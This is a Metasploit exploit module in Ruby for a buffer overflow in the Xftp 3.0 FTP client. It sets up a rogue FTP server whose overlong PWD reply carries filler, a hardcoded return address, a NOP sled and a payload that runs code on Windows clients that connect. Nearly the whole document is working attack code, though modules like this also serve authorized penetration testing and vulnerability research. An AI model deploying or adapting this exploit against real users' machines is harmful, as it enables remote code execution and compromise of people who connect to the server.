Xftp FTP Client 3.0 PWD Remote Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Xftp FTP Client 3.0 PWD Remote Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the Xftp 3.0 FTP client that is triggered
        through an excessively long PWD message.
      },
      'Author' 	 =>
        [
          'zombiefx',  # Original exploit author
          'dookie'     # MSF module author
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '63968'],
          [ 'EDB', '12332' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 434,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x100123AF } ], # JMP ECX in nslicense.dll
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2010-04-22',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
        OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
      ])
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
    client.put(buffer)
  end

  def on_client_data(client)

    # Get the client username
    client.get_once

    # Prompt the client for the password.
    user = "331 Anonymous access allowed.\r\n"
    client.put(user)
    client.get_once

    # Handle the clients PWD command.
    pass = "230 Login successful.\r\n230 User logged in.\r\n"
    client.put(pass)
    client.get_once

    # Send the exploit
    sploit = "257 \"/"
    sploit << rand_text_alpha_upper(1019)
    sploit << [ target.ret ].pack('V')
    sploit << make_nops(55)
    sploit << payload.encoded
    sploit << "\" is current directory.\r\n"

    client.put(sploit)

    # Get the CWD from the client
    client.get_once

  end
end